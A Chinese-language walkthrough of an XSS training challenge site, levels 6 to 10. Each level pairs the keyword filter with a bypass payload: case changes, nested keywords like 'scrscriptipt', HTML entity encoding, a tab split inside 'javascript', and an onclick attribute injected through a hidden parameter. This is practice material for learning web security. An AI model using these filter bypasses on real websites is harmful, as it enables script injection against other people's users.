xss挑战之旅在线练习https://xss.angelo.org.cn/
**
- level6
**
过滤了script,onclick,href,但是由于是用str_replace函数来过滤的,所以可以用大小写绕过
"><a HREF=" javascript:alert(1)"
尝试了一下前面的payload,发现on,script,href关键字被屏蔽,但由于是直接替换为空,所以可以用单词嵌套来绕过
sweetie" oonnclick=alert(1)//
sweetie"><scrscriptipt>alert("xss")</scrscriptipt>
level8
添加友情链接所以直接就有一个href标签,首先尝试了javascript:alert(1)
但是发现script被过滤了,然后尝试大小写绕过不行
最后用html实体编码绕过
javascript:alert(1)
level9
- script被过滤,添加的url有验证合法性,没有带http://内则不合法,可以放在注释后面,通过tab制表符(%09)绕过对script的过滤
level9.php?keyword=javascr%09ipt:alert(1)//http://
- value=""的输出点无法利用,标签的输出点使用html实体编码绕过,然后加上前提条件:在输入的字符中含有http://
javascript:alert('http://')
注意链接合法性
level10
删除hidden
出现三个框
发现t_sort是可以注入的,于是用t_sort来弹窗
http://localhost/xss_test/level10.php?keyword=well done!&t_sort=" type="text" οnclick="alert(1)